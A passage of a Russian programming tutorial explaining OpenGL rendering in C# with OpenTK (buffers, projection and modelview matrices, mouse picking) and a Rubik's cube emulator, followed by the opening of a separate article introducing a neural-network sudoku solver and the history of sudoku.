GL.Vertex3(0, width, 0);
GL.End();
/*нижняя*/
GL.Begin(BeginMode.Polygon);
GL.Vertex3(0, 0, 0);
GL.Vertex3(0, 0, width);
GL.Vertex3(width, 0, width);
GL.Vertex3(width, 0, 0);
GL.End();
/*верхняя*/
GL.Begin(BeginMode.Polygon);
GL.Vertex3(0, width, 0);
GL.Vertex3(0, width, width);
GL.Vertex3(width, width, width);
GL.Vertex3(width, width, 0);
GL.End();
/*передняя*/
GL.Begin(BeginMode.Polygon);
GL.Vertex3(0, 0, width);
GL.Vertex3(width, 0, width);
GL.Vertex3(width, width, width);
GL.Vertex3(0, width, width);
GL.End();
/*правая*/
GL.Begin(BeginMode.Polygon);
GL.Vertex3(width, 0, 0);
GL.Vertex3(width, 0, width);
GL.Vertex3(width, width, width);
GL.Vertex3(width, width, 0);
GL.End();
/*ребра*/
GL.Color3(Color.Black);
GL.Begin(BeginMode.LineLoop);
GL.Vertex3(0, 0, 0);
GL.Vertex3(0, width, 0);
GL.Vertex3(width, width, 0);
GL.Vertex3(width, 0, 0);
GL.End();
GL.Begin(BeginMode.LineLoop);
GL.Vertex3(width, 0, 0);
GL.Vertex3(width, 0, width);
GL.Vertex3(width, width, width);
GL.Vertex3(width, width, 0);
GL.End();
GL.Begin(BeginMode.LineLoop);
GL.Vertex3(0, 0, width);
GL.Vertex3(width, 0, width);
GL.Vertex3(width, width, width);
GL.Vertex3(0, width, width);
GL.End();
GL.Begin(BeginMode.LineLoop);
GL.Vertex3(0, 0, 0);
GL.Vertex3(0, 0, width);
GL.Vertex3(0, width, width);
GL.Vertex3(0, width, 0);
GL.End();
glControl1.SwapBuffers();
}
}
}
```
using OpenTK; — нужен для класса Matrix4 (матрица 4x4)
using OpenTK.Graphics.OpenGL; — нужен для получения доступа к объекту GL.
GL — объект, через который собственно вызывать команды OpenGL.
GL.ClearColor(Color.SkyBlue); — заливает голубым цветом
GL.Enable(EnableCap.DepthTest); — эта строчка нужна, чтобы дальние элементы перекрывались ближними.
```
Matrix4 p = Matrix4.CreatePerspectiveFieldOfView((float)(80 * Math.PI / 180), 1, 20, 500);
GL.MatrixMode(MatrixMode.Projection);
GL.LoadMatrix(ref p);
```
Здесь мы задаём матрицу, которая отвечает за Фруструм:
1) угол обзора 80 градусов
2) отношение длины к высоте — 1
3) расстояние до первой грани — 20
4) расстояние до дальней грани — 500
Переходим в режим проекции, и задаем эту матрицу. О режимах будет сказано чуть позже.
```
GL.Clear(ClearBufferMask.ColorBufferBit | ClearBufferMask.DepthBufferBit);
```
Инициализируем ColorBufferBit и DepthBuffer
ColorBuffer. Буфер Цвета. С каждым пикселем на экране связано значение цвета, которое записывается в буфере цвета. Вызов GL.Clear(ClearBufferMask.ColorBufferBit) зальет в нашем случае окно цветом SkyBlue (смотри выше).
DepthBuffer. Он же Z-Buffer. Буфер глубины. Дело в том, что две точки в 3D пространстве могут проецироваться на одну точку на экране. Нужно чтобы, ближняя точка перекрывала дальнюю. Для этого нужно вычислять “глубину” точки (величины обратнопорциональной расстоянию от камеры до точки) и записывать её значение в буффер (пискель такой-то, глубина такая-то),
если же очередная точка проецируется на тот же пиксель, то надо сравнивать “глубину” новой точки с записанной Depth-буффере. Если новая точка находится “менее глубоко” (более ближе к камере), то её проекция должна перекрыть существующую, иначе оставляем всё как есть.
В начале отрисовки кубика мы должны очистить Depth-Buffer.
```
Matrix4 modelview = Matrix4.LookAt(70, 70, 70, 0, 0, 0, 0, 1, 0);
GL.MatrixMode(MatrixMode.Modelview);
GL.LoadMatrix(ref modelview);
```
Здесь мы задаем нашу камеру в точке (30, 70, 80), направление взгляда в центр системы координта (0, 0, 0). Ориентация такая, что ось OY направлена вверх.
Если мы сделаем
```
Matrix4 modelview = Matrix4.LookAt(30, 70, 80, 0, 0, 0, 1, 1, 0);
```
То мы будем смотреть на кубик под углом, как если бы наклонили голову на 45 градусов влево.
Далее собственно рисуются сам кубик: сначала грани красным цветом, потом черным — ребра
Потом вызывается команда
```
glControl1.SwapBuffers();
```
Дело в том, что по умолчанию OpenGL в OpenTK double-buffer: каждый буффер (ColorBuffer, DepthBuffer и другие, которые я не упомянул) дублируется. Когда мы рисуем изображение, мы используем одни буферы. А в это время на экране отображается изображение, которое получено из других буферов.
Командой glControl1.SwapBuffers(); мы выводим на экран изображение, используя буферы, в которых мы его рисовали.
Кстати, если очисть буфер цвета только в первый раз
```
bool b = true;
private void glControl1_Paint(object sender, PaintEventArgs e)
{
if (!loaded)
return;
GL.Clear(ClearBufferMask.DepthBufferBit);
if (b)
{
GL.Clear(ClearBufferMask.ColorBufferBit);
}
b = false;
…
```
То есть очистить только один буффер цвета (на самом деле, залить его голубым цветом), а другой не очищать. А потом сворачивать/разворачивать окно. То цвет фона будет меняться с голубого на черный. (правда, если изменить размеры окна, то станет всегда черный цвет (видимо, оба буффера сбрасываются при ресайзе).
#### Теперь о режимах
Объекты задаются в 3-х мерных координатах. Эти координаты называются объектными. Каждый объект может быть определен в своих объектных координатах. Чтобы построить мир из разных 3d объектов, которые стоят относительно друг друга в разных положениях,
нужно объектные координаты каждого объекта умножить на соответствующую *модельную матрицу* (model Matrix). Тогда мы получим новые координаты каждого объекта в новом общем мировом пространстве.
В то же время мы можем смотреть на мир объектов с разных сторон, мы можем перевернуть камеру, мы можем приближаться к объекту и удаляться от него. Умножая координаты объектов (координаты в мировом пространстве) на соответствующие матрицы видового преобразования (view Matrix), мы получаем видовые коордианты каждого объекта.
В OpenGL матрица модельного преобразования (model Matrix) совмещена с матрицей видового преобразования (view Matrix) в одну (modelView Matrix). (Ведь мы можем отдалить объект двумя способами: изменить его мировые координаты (отдалить сам объект), либо отдалить от него камеру (получить новые видовые координаты)).
Потом координаты умножаются на матрицу проекции (projection Matrix), которая либо задаёт Фруструм (перспективное проецирование):
либо задаёт ортогональное проецирование:
Умножая видовые координаты на матрицу проекции, мы получаем усеченные координаты (clip coordinates). Деля каждую координату (x, y, z) на 4 величину ω, мы получаем нормализованые координаты устройства (Normalize Device Coordinates, NDC) каждая из которых от -1 до 1, при том ось Z развернута уже от нас (то есть Фруструм по сути превращается в куб и разворачивается от нас на 180 градусов),
далее координаты сдвигом и масштабированием преобразуются в оконные координаты (window coordinates), которые уже наконец и участвую в построении 2D-изображения на экране.
Чтобы перейти в режим управления матрицей проецирования мы должны вызвать функцию GL.MatrixMode с параметром MatrixMode.Projection:
GL.MatrixMode(MatrixMode.Projection);
А чтобы перейти в режим управления матрицей модельно-видового преобразования мы должны вызвать функцию GL.MatrixMode с параметром MatrixMode.Modelvew:
GL.MatrixMode(MatrixMode.ModelView);
Добавьте в glControl1\_Paint код, рисующий оси OX, OY, OZ:
```
GL.Color3(Color.Black);
GL.Begin(BeginMode.Lines);
GL.Vertex3(0, 0, 0);
GL.Vertex3(50, 0, 0);
GL.Vertex3(0, 0, 0);
GL.Vertex3(0, 50, 0);
GL.Vertex3(0, 0, 0);
GL.Vertex3(0, 0, 50);
GL.End();
```
Также в дизайнере форм, надо добавить обработчик для события KeyDown, появится функция glControl1\_KeyDown. Заполните её следующим кодом:
```
private void glControl1_KeyDown(object sender, KeyEventArgs e)
{
if (!loaded) return;
if (e.KeyCode == Keys.A)
{
GL.MatrixMode(MatrixMode.Projection);
GL.Rotate(30, 0, 0, 1);
}
if (e.KeyCode == Keys.B)
{
GL.MatrixMode(MatrixMode.Modelview);
GL.Rotate(30, 0, 0, 1);
}
glControl1.Invalidate();
}
```
То есть при нажатии клавиши A на клавиатуре мы переходим в режим проекции и делаем поворот вокруг оси OZ на 30 градусов против часовой стрелки,
а при нажатии клавиши B тоже осуществляется поворот вокруг оси OZ, но уже в режиме модельно-видового преобразования.
Полный код привожу здесь:
**маленький кубик, который вращается по нажатиям A и B**
```
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using OpenTK;
using OpenTK.Graphics.OpenGL;
namespace habr
{
public partial class Form1 : Form
{
float width = 20;
bool loaded = false;
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
}
private void glControl1_Load(object sender, EventArgs e)
{
loaded = true;
GL.ClearColor(Color.SkyBlue);
GL.Enable(EnableCap.DepthTest);
Matrix4 p = Matrix4.CreatePerspectiveFieldOfView((float)(80 * Math.PI / 180), 1, 20, 500);
GL.MatrixMode(MatrixMode.Projection);
GL.LoadMatrix(ref p);
Matrix4 modelview = Matrix4.LookAt(70, 70, 70, 0, 0, 0, 0, 1, 0);
GL.MatrixMode(MatrixMode.Modelview);
GL.LoadMatrix(ref modelview);
}
private void glControl1_KeyDown(object sender, KeyEventArgs e)
{
if (!loaded) return;
if (e.KeyCode == Keys.A)
{
GL.MatrixMode(MatrixMode.Projection);
GL.Rotate(30, 0, 0, 1);
}
if (e.KeyCode == Keys.B)
{
GL.MatrixMode(MatrixMode.Modelview);
GL.Rotate(30, 0, 0, 1);
}
glControl1.Invalidate();
}
private void glControl1_Paint(object sender, PaintEventArgs e)
{
if (!loaded)
return;
GL.Clear(ClearBufferMask.DepthBufferBit | ClearBufferMask.ColorBufferBit);
/*задняя*/
GL.Color3(Color.Red);
GL.Begin(BeginMode.Polygon);
GL.Vertex3(0, 0, 0);
GL.Vertex3(width, 0, 0);
GL.Vertex3(width, width, 0);
GL.Vertex3(0, width, 0);
GL.End();
/*левая*/
GL.Begin(BeginMode.Polygon);
GL.Vertex3(0, 0, 0);
GL.Vertex3(0, 0, width);
GL.Vertex3(0, width, width);
GL.Vertex3(0, width, 0);
GL.End();
/*нижняя*/
GL.Begin(BeginMode.Polygon);
GL.Vertex3(0, 0, 0);
GL.Vertex3(0, 0, width);
GL.Vertex3(width, 0, width);
GL.Vertex3(width, 0, 0);
GL.End();
/*верхняя*/
GL.Begin(BeginMode.Polygon);
GL.Vertex3(0, width, 0);
GL.Vertex3(0, width, width);
GL.Vertex3(width, width, width);
GL.Vertex3(width, width, 0);
GL.End();
/*передняя*/
GL.Begin(BeginMode.Polygon);
GL.Vertex3(0, 0, width);
GL.Vertex3(width, 0, width);
GL.Vertex3(width, width, width);
GL.Vertex3(0, width, width);
GL.End();
/*правая*/
GL.Begin(BeginMode.Polygon);
GL.Vertex3(width, 0, 0);
GL.Vertex3(width, 0, width);
GL.Vertex3(width, width, width);
GL.Vertex3(width, width, 0);
GL.End();
GL.Color3(Color.Black);
GL.Begin(BeginMode.LineLoop);
GL.Vertex3(0, 0, 0);
GL.Vertex3(0, width, 0);
GL.Vertex3(width, width, 0);
GL.Vertex3(width, 0, 0);
GL.End();
GL.Begin(BeginMode.LineLoop);
GL.Vertex3(width, 0, 0);
GL.Vertex3(width, 0, width);
GL.Vertex3(width, width, width);
GL.Vertex3(width, width, 0);
GL.End();
GL.Begin(BeginMode.LineLoop);
GL.Vertex3(0, 0, width);
GL.Vertex3(width, 0, width);
GL.Vertex3(width, width, width);
GL.Vertex3(0, width, width);
GL.End();
GL.Begin(BeginMode.LineLoop);
GL.Vertex3(0, 0, 0);
GL.Vertex3(0, 0, width);
GL.Vertex3(0, width, width);
GL.Vertex3(0, width, 0);
GL.End();
GL.Color3(Color.Black);
GL.Begin(BeginMode.Lines);
GL.Vertex3(0, 0, 0);
GL.Vertex3(50, 0, 0);
GL.Vertex3(0, 0, 0);
GL.Vertex3(0, 50, 0);
GL.Vertex3(0, 0, 0);
GL.Vertex3(0, 0, 50);
GL.End();
glControl1.SwapBuffers();
}
}
}
```
Если мы будем нажимать букву A на клавиатуре, то у нас будет вращаться 2D-изображение на экране:
Таким образом в перспективных координатах ось OZ является и осью Фруструма.
В случае нажатия B на клавиатуре, то у нас будет вращаться система координат вокруг оси OZ:
Код
```
GL.MatrixMode(MatrixMode.Projection);
GL.Rotate(30, 0, 0, 1);
```
С тем же успехом можно было заменить таким:
```
Matrix4d projection_matrix;//Матрица 4x4, элементы типа double
GL.GetDouble(GetPName.ProjectionMatrix, out projection_matrix);//Загружаем матрицу проецирования в projection_matrix
//Подготавливаем матрицу поворота вокруг оси OZ
double cos = Math.Cos(-30 * Math.PI / 180);
double sin = Math.Sin(-30 * Math.PI / 180);
Matrix4d rotating_matrix = new Matrix4d(
cos, -sin, 0, 0,
sin, cos, 0, 0,
0, 0, 1, 0,
0, 0, 0, 1
);
projection_matrix *= rotating_matrix;//умножаем матрицу проецирования на матрицу поворота
GL.MatrixMode(MatrixMode.Projection);//переходим в режим проецирования
GL.LoadMatrix(ref projection_matrix);//устанавливаем новую матрицу проецирования
```
Тот же код над матрицей ModelView даст тот же результат.
Собственно перейдём к описанию программы эмулятора кубика-рубика, которую вы можете скачать здесь: <http://труъкодинг.рф/files/opengl.zip>
#### Наконец-то
Всё описывать не буду, так как будет очень много текста. Опишу ключевые моменты.
##### Ключевые структуры данных
**1)** Кубик Рубика, ребро которого состоит из 3-х кубиков состоит из 27 маленьких кубиков.
В процессе вращения граней Кубика Рубика (КР), маленькие кубики будут менять своё местоположение. В процессе вращения грани КР, надо знать какие маленькие кубики вращать (ведь в грани могут оказаться разные кубики), также после очередного поворота грани КР, надо проверить, а не собрался ли кубик.
Для отслеживания позиций кубиков, я применил массив positions:
int[] positions;
Его ключи — это номера кубиков, а значения номера позиций.
Кстати, позиции я обозначил так:
**2)** Когда вращаешь грань КР, соответствующие маленькие кубики меняют не только местоположение, но поворачиваются другими сторонами. Когда мы повернули грань на один оборот (90 градусов),
то новое состояние кубика можно получить двумя путями:
1) повернуть соответствующие кубики вокруг определенной оси на 90 градусов (что и делалалось при повороте)
2) либо переставить кубики, на новые места, и повернуть каждый кубик вокруг своей оси на 90 градусов.
Следующий класс служет для описания кубика в пространстве.
```
public class angleXYZ
{
public angleXYZ()
{
this.X = 0;
this.Y = 0;
this.Z = 0;
}
public int X { get; set; }
public int Y { get; set; }
public int Z { get; set; }
}
```
поля X, Y, Z — это углы относительно осей OX, OY, OZ
когда мы вращаем какую-либо грань, у соответствующих кубиков меняется соответствующий угол.
После заканчивания вращения, я обнуляю эти углы, перемещаю кубики на новые позиции (то есть соответствующим образом меняю массив position), и вращаю кубики вокруг своей оси (покажу, что под этим имею в виду). Пользователь видит только само вращение.
Объект класса angleXYZ есть у каждого кубика и хранится в коллекции angles:
```
List angles = new List();
```
**3)** Каждый кубик содержит 8 угловых точек. Зная эти точки, нарисовать кубик не проблема.
Координаты точек хранятся в 3-х мерном массиве edges. Чтобы перенос и поворот координат проходили с помощью только операций умножения (а не сложение и умножение), я использую матрицы 1x4 для координат и матрицы 4x4 для матриц переноса и умножения.
Использование матриц 4x4 позволяет соединить операцией умножения воедино и матрицу переноса, и поворота. Тем самым за одну операцию умножения можно сделать две вещи: и перенос, и умножение.
```
float[][][] edges;
…
//заполняем
edges = new float[n][][];//n - количество кубиков (27, если 3x3x3)
…
for (int i = 0; i < n; i++)
{
float[][] vectors = new float[8][] {
//w-длина ребра кубика
new float[4] { 0, 0, 0, 1 },
new float[4] { 0, 0, w, 1 },
new float[4] { 0, w, 0, 1 },
new float[4] { 0, w, w, 1 },
new float[4] { w, 0, 0, 1 },
new float[4] { w, 0, w, 1 },
new float[4] { w, w, 0, 1 },
new float[4] { w, w, w, 1 },
};
edges[i] = vectors;
…
//смещаем кубик
List data = getOffsets(i);
int offset\_x = data[0];
int offset\_z = data[1];
int offset\_y = data[2];
for (int j = 0; j < edges[i].Length; j++)
{
//w - длина кубика, spacing - расстояние между кубиками
//(кубики могут стоять не плотно)
edges[i][j][0] += offset\_x \* (w + spacing);
edges[i][j][1] += offset\_y \* (w + spacing);
edges[i][j][2] += offset\_z \* (w + spacing);
}
}
```
Чтобы узнать смещение очередного маленького кубика (из которых состоит Кубик Рубика) относительно нулевого положения в собранном КР, я написал специальную функцию getOffsets, которая принимает номер кубика и возвращает на сколько кубиков надо отступить по каждой из осей.
**4)** Есть ещё словарь intersect\_planes.
Ключи словаря — это оси (объект перечисления Axis (public enum Axis { X, Y, Z };)),
а значения — это грани на соответствующей оси, объекты моего класса Plane (плоскость).
```
public enum Axis { X, Y, Z };
Dictionary intersect\_planes = new Dictionary();
```
Класс Plane нужен для хранения координат точек угловых точек каждой грани.
```
side = N * w + (N - 1) * spacing;// - длина грани
//координаты угловых точек
Vector3 p1 = new Vector3(0, side, side);//<----
Vector3 p2 = new Vector3(side, 0, side);
Vector3 p3 = new Vector3(side, side, side);//<----
Vector3 p4 = new Vector3(side, 0, 0);
Vector3 p5 = new Vector3(0, 0, 0);
Vector3 p6 = new Vector3(0, side, 0);//<----
Vector3 p7 = new Vector3(0, 0, side);
Vector3 p8 = new Vector3(side, side, 0);
intersect_planes[Axis.X] = new Plane[2] {
new Plane(p2, p3, p8),//кубики 2, 5, 8, 11, 14, 17, 23, 20, 26 Ось X
new Plane(p1, p7, p5)//кубики 0, 3, 6, 9, 12, 15, 18, 21, 24 Ось X
};
intersect_planes[Axis.Y] = ...
….
```
объект класса Plane просто хранит координаты 3-х точек, а конструктор этого класса проверяет, чтобы они были разные. Но можно было и не заводить отдельный класс, а просто обойтись двумерным массивом:
```
intersect_planes[Axis.X] = new Vector3[2][] {
new Vector3[]{p2, p3, p8},//кубики 2, 5, 8, 11, 14, 17, 23, 20, 26 Ось X
new Vector3[]{p1, p7, p5},//кубики 0, 3, 6, 9, 12, 15, 18, 21, 24 Ось X
};
```
но напрягает обращаться к элементам массива через череду квадратных скобок.
Этот словарь нужен для того, чтобы определить по плоскости какой грани мы щелкнули мышкой, соответственно какую часть Кубика Рубика надо вращать. Об определении плоскости, по стрелкам которой щелкнули мышкой, будет написано позже.
**5)** Важный объект моего vp класса ViewPoint.
```
ViewPoint vp = new ViewPoint();
```
который хранит значение координаты точки обзора Кубика Рубика, дело в том, что при вращении мышкой Кубика Рубика, у меня на самом деле меняется положение точки обзора, а кубик стоит на месте.
Класс ViewPoint нужен для получения ближайшей оси к точке зрения (метод getNearestAxis). Это нужно, чтобы определить, на какой грани показывать стрелочки, то есть какие части вращать, при щелчке мыши.
Точка обзора вращается вокруг Кубика Рубика по сфере, поэтому удобно оперировать углом относительно оси OX (угол α) и углом относительно ocи OY (угол β):
У объекта vp открыты свойства-сеттеры angle\_view\_alpha и angle\_view\_beta, через них меняются угол α и угол β, а в теле сеттеров по этим углам рассчитываются координаты камеры (точки обзора).
Также у этого класса есть свойства-геттеры, по которым можно определить не верх ногами находится ли камера, с какой стороны определенной оси мы смотрим на кубик (к примеру со стороны положительных значений X, или со стороны отрицательных значений Z).
Это нужно для того, чтобы правильно определять в какие стороны крутить грани Кубика Рубика. Сам Кубик Рубика расположен так, чтобы его центр был в центре начала координат.
#### Перейдём к коду
**Я буду описывать только ключевые моменты, иначе будет очень долго.** Я и так себя уже Львом Николаевичем чувствую.
##### **Метод Render**
Сам Кубик Рубика я хочу, нарисовать так, чтобы его центр совпадал с центром начала координат, поэтому перейдя в режим матрицы ModelView, я делаю перенос системы координат на половину длины Кубика Рубика по всем осям:
```
double offset0 = this.w * N + (N - 1) * spacing;//длина Кубика Рубика w - длина маленькоо кубика, N - размерность КР (3), spacing - расстояние между маленькими кубиками.
double offset = offset0 / 2;
GL.Translate(
-offset,
-offset,
-offset
);
```
Потом по количеству кубиков (27 раз) вызывается функция cube, которая рисует маленькие кубики за исключением того, что находится в центре КР, потому что его не будет видно никогда.
##### Функция **cube**
Я сначала сохраняю, текущую матрицу ModelView в стэке, который предоставляет OpenGL:
```
GL.PushMatrix();
```
а в конце восстанавливаю эту матрицу из стэка:
```
GL.PopMatrix();
```
Это нужно, чтобы изменение матрицы ModelView (повороты, переносы) одного кубика не влияли на матрицы других кубиков. Другими словами, если мы хотим крутить один маленький кубик, то не должны при этом крутиться другие.
Для анимации прокрутки грани, я делаю поворот вокруг вокруг какой-либо из осей.
```
float offset = (w * N + (N - 1) * spacing) / 2;//середина всего Кубика Рубика
GL.Translate(
offset,
offset,
offset
);
GL.Rotate(angle.X, Vector3.UnitX);
GL.Rotate(angle.Y, Vector3.UnitY);
GL.Rotate(angle.Z, Vector3.UnitZ);
GL.Translate(
-offset,
-offset,
-offset
);
```
Код написан так, что только один из углов angle.X, angle.Y, angle.Z в один момент може быть ненулевым, так что здесь выполняется поворот только вокруг одной оси, либо не выполняется вообще.
Но, памятуя о том, что система координат смещена, надо сначала вернуть её на место, сделать поворот, и снова сделать обратный перенос, что у меня и сделано:
Далее используется массив **edges** для рисования кубика, цвета граней кубика определяются из номера кубика, который передаётся функции cube.
##### **Стрелки**
Центр системы координта с помощью GL.Translate возвращается в первоначальное место.
Потом с помощью объекта vp класса ViewPoint определяется наиближайшая к камере ось системы координат и с какой стороны. Делается соответствующий поворот с помощью GL.Rotate и методом GL.Translate делается такой перенос, чтобы стрелки рисовались у ближайшей грани.
Чтобы определить по какой стрелке мы щёлкнули, сначала надо определить прямую идущую от места щелчка мыши, а потом надо определить место пересечения с ближайшей плоскостью, содержащей грань кубика, далее зная размеры маленьких кубиков и расстояния между ними, не составит труда определить по какой стрелке мы щёкнули.
Для определения 2-х точек такой прямой находятся нормализованные координаты устройства (NDC, речь о них выше), которые надо умножить на инвертированную матрицу, полученную в помощью умножения матриц ModelView и проекции.
В результате мы получим координаты двух точек, лежащих на ближайшей и дальней плоскостях Фруструма.
```
System.Windows.Forms.MouseEventArgs me = (e as System.Windows.Forms.MouseEventArgs);
double y = me.Y;
double x = me.X;
int w = glControl1.Width;
int h = glControl1.Height;
float xpos = (float)(2 * (x / w) - 1);
float ypos = (float)(2 * (1 - y / h) - 1);
Vector4 startRay = new Vector4(xpos, ypos, 1, 1);
Vector4 endRay = new Vector4(xpos, ypos, -1, 1);
// Reverse Project
Matrix4 modelview = new Matrix4();
Matrix4 projection = new Matrix4();
GL.GetFloat(GetPName.ModelviewMatrix, out modelview);
GL.GetFloat(GetPName.ProjectionMatrix, out projection);
Matrix4 trans = modelview * projection;
trans.Invert();
startRay = Vector4.Transform(startRay, trans);
endRay = Vector4.Transform(endRay, trans);
sr = startRay.Xyz / startRay.W;
er = endRay.Xyz / endRay.W;
```
##### Снова возвращаемся в метод **Render**
Зная ближаюшую грань и две точки прямой, мы находим точку пересечения прямой и плоскости, где лежит ближайшая к нам грань Кубика Рубика (то есть в дело вступает словарь intersect\_planes, содержащий точки плоскости).
Функцию определения определения точки пересечения я нагуглил. Далее в коде определяется в грань мы кликнули или в стороне от неё (по стрелке), и с боку от грани или сверху снизу. Это всё легко потому, что сам кубик не двигается, а его стороны паралельны плоскостям XOY, XOZ, YOZ (то есть всё определяется сравнением меньше/больше координат точки пересечения и координат 4-х угловых точек).
Ну а потом запускаем процесс вращения грани.
##### **Вращение грани**
Для анимации вращения грани я создал класс EasingTimer, наследуемый от System.Timers.Timer, с помощью шаблона проектирования Singleton, можно создать только один элемент этого класса. Это я сделал для того, чтобы случайно две грани одновременно не вращались. Также есть переменная run, которая определяет запущен ли процесс вращения, и новый процесс вращения не наступит, пока не закончится предыдущий.
Свойство duration объекта класса EasingTimer задаёт в миллисекундах длительность вращения.
Само вращение происходит так:
1. сохраняется начальное время
2. стартуется Таймер на один раз на 100 миллисекунд.
3. когда срабатывает таймер, вызывается функция поворота грани **rotatePart**, которая изменяет элементы списка angles соответствующих кубиков. Напомню, что каждый элемент этого списка отвечает за поворот определенного кубика в пространстве.
```
public class angleXYZ
{
public angleXYZ()
{
this.X = 0;
this.Y = 0;
this.Z = 0;
}
public int X { get; set; }
public int Y { get; set; }
public int Z { get; set; }
}
```
функция поворота, изменяет только один угол либо X, либо Y, либо Z,
таймер необязательно сработает через 100 миллисекунд, поэтому очередная дельта угла поворота определяется исходя из миллисекунд, прошедших от даты, которую мы сохранили на первом шаге.
Таймер перезапускается, и вызывается метод glControl1.Invalidate();, который вызвыает метод **Render**, который в свою очередь вызывает метод **cube** для отрисовки каждого маленького кубика, а так как у некоторых кубиков соответствующие элементы списка **angles** изменены, то мы увидим вращение грани. Грань будет продолжать вращаться, пока срабатывает таймер.
4. Когда функция поворота грани **rotatePart**, определяет что прошло duration миллисекунд.
она сбрасывает углы поворота у кубиков, которые поворачивала (если в этот момент вызывать метод **Render**, то Кубик Рубика будут в предыдущем состоянии, как будто ничего не вращали).
Далее меняется массив positions (который указывает, где какой кубик находится, смотри выше), чтобы отображать новое состояние Кубика Рубика. Но этого не достаточно — после вращения грани, соответсвующие маленькие кубики не только поменяли своё местоположение, но и словно сделали поворот вокруг своей оси.
Другими словами поворот маленького кубика при вращении грани, эквивалентен изменению положения кубика и его вращение вокруг своей оси:
Поэтому элементы массив edges, содержащим координаты 8 точек маленьких кубиков, которые вращались умножаются на соответствующую матрицу поворота.
Далее опять через вызов glControl1.Invalidate(); вызывается метод Render, который будет вызывать метод cube, которая покажет кубики на новых местах и соответствующе повернутых.
Теперь разъясню почему был придуман массив positions, указывающий на какой позиции какой кубик стоит (27 кубиков, 27 позиций). Дело в том, что в процессе вращения граней Кубика Рубика, маленькие кубики будут всё время менять своё местоположение, и надо уже оперировать не командами вида “повернуть кубик номер 3 на 90 градусов вокруг оси X”, а оперерировать командами вида “повернуть кубик, стоящий на позиции номер 3, на 90 градусов вокруг оси X”.
Теперь разъясню, почему я сбрасываю в нули элементы массива angles, отвечающих за поворот кубика в пространстве. Дело в том, что последовательность поворотов имеет значение. Поворот вокруг оси X, потом поворот вокруг оси Y не тоже самое, что поворот вокруг оси Y, а потом поворот вокруг оси X.
Если никогда не обнулять углы поворота кубиков, то следующий код из метода cube, реализующий анимацию вращения
будет нормально работать только первые три вращения, да и то, если будут в таком порядке: вокруг X, вокруг Y, вокруг Z.
```
GL.Rotate(angle.X, Vector3.UnitX);
GL.Rotate(angle.Y, Vector3.UnitY);
GL.Rotate(angle.Z, Vector3.UnitZ);
```
Нужно запоминать последовательность вращения каждого кубика, некий трэйс поворотов нужно иметь. Массив edges содержит координаты угловых точек маленьких кубиков, каждый раз умножая координаты кубика, на соответствующую матрицу поворота, мы сохраняем историю всех поворотов этого кубика. Нам осталось только прочитать элемент массива edges и вывести на экран соответствующий кубик.
##### **Вращение всего Кубика Рубика**
Вращение всего Кубика Рубика происходит только с помощью изменения точки обзора. Это реализовано в обработчиках MouseDown, MouseMove, MouseUp. Просто высчитывается, на сколько переместилась мышка по окну программы, перемещения преобразуются в соответствующие углы поворота, по вертикали и горизонтали.
Изменяются соответствующие свойства объекта vp класса ViewPoint, отвечающие за углы от оси X, и Y (смотри картинку выше), а внутри методов класса ViewPoint определяется новые координаты камеры и перевернута ли она, затем создаётся новая матрица ModelView:
```
G_modelview = Matrix4.LookAt(vp.viewX, vp.viewY, vp.viewZ, 0, 0, 0, 0, vp.orintation_y, 0);
```
первые 3 элемента задают координаты камеры,
вторые 3 элемента задают, что камера будет направлена на центр системы координат.
последние 3 элемента задают, как повернута камера
здесь задается, что ось Y будет направлена либо вверх, если vp.orintation\_y == 1, либо вниз если vp.orintation\_y == -1
За сим всё.
Всё остальное, разбирать как то смысла не вижу, да ещё и долго будет. Спасибо за внимание. Проект вы можете скачать здесь: <http://xn--c1abmgrdmpk4e.xn--p1ai/files/opengl.zip> | https://habr.com/ru/post/173131/ | null | ru | null |
# #4 Нейронные сети для начинающих. Sudoku Solver. Судоку. Часть 1
[](https://habr.com/ru/company/ruvds/blog/706164/)
Предыстория: одним зимним вечером, а скорее ночью, мне пришла в голову интересная идея. Почему бы не попробовать автоматизировать с помощью компьютерного зрения решение одной классической головоломки с числами, а если быть точнее — судоку. Дело в том, что мой дедушка — большой любитель разных кроссвордов, судоку и т. д. Зная это, я подумал, что было бы неплохо попробовать как-нибудь автоматизировать эту задачу. Конечно, до задачи автоматизации решения кроссвордов мне ещё далеко, но вот с задачей решения судоку, у которого есть чёткий алгоритм, можно поэкспериментировать.
Спойлер: я столкнулся с парой проблем как в своём понимании этой игры, так и в понимании меня компьютером (тут должно было быть смешно), но всё получилось. С результатом моего труда я вам и предлагаю ознакомиться!
Но перед всем этим я советую вам прочитать мои предыдущие статьи из серии «Нейронные сети для начинающих». Там их уже целых три:
* [#1 Нейронные сети для начинающих. Решение задачи классификации Ирисов Фишера](https://habr.com/ru/company/ruvds/blog/679988/)
* [#2 Нейронные сети для начинающих. NumPy. MatplotLib. Операции с изображениями в OpenCV](https://habr.com/ru/company/ruvds/blog/682462/)
* [#3 Нейронные сети для начинающих. Работа с изображениями в OpenCV. Алгоритм Canny Edge Detector](https://habr.com/ru/company/ruvds/blog/694994/)
▍ Немного теории
----------------
Итак, приступим, но для начала давайте разберёмся, что же такое Судоку.
> Согласно Википедии, Судо́ку (от японского 数独 су: доку) — это головоломка с числами. Иногда судоку называют магическим квадратом, что в общем-то неверно, так как судоку является латинским квадратом 9-го порядка. Судоку активно публикуют газеты и журналы разных стран мира, сборники судоку издаются большими тиражами. Решение судоку — популярный вид досуга.
А как судоку появилась?
> В XVIII веке Леонард Эйлер изобрёл игру [Carré latin («Латинский квадрат»)](https://ru.wikipedia.org/wiki/%D0%9B%D0%B0%D1%82%D0%B8%D0%BD%D1%81%D0%BA%D0%B8%D0%B9_%D0%BA%D0%B2%D0%B0%D0%B4%D1%80%D0%B0%D1%82). На основе этой игры в 1970-х годах в Северной Америке были придуманы специальные числовые головоломки. Так, в США судоку появилась впервые в 1979 году в журнале Dell Puzzle Magazine. Тогда она называлась Number Place. Настоящую популярность судоку завоевала в 1980—1990-х годах, когда японский журнал Nikoli начал регулярно публиковать на своих страницах эту головоломку (с 1986 года). Сегодня судоку — обязательный компонент многих газет. Среди них много изданий с многомиллионными тиражами, например, немецкая газета Die Zeit, австрийский Der Standard. В России судоку также публикуются в десятках газет, журналов и в специализированных сборниках.
Хорошо, а что там с правилами игры? Давайте разберёмся:
